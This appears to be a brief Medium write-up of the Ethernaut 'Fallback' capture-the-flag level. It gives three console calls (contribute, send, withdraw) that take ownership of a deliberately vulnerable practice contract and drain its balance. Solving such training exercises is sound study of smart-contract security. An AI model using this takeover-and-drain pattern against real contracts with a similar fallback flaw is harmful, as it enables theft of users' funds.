Ethernaut Level1 — Fallback

Look carefully at the contract's code below.You will beat this level if
1. you claim ownership of the contract
2. you reduce its balance to 0
await contract.contribute({value:1});
await contract.send(1);
await contract.withdraw();

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store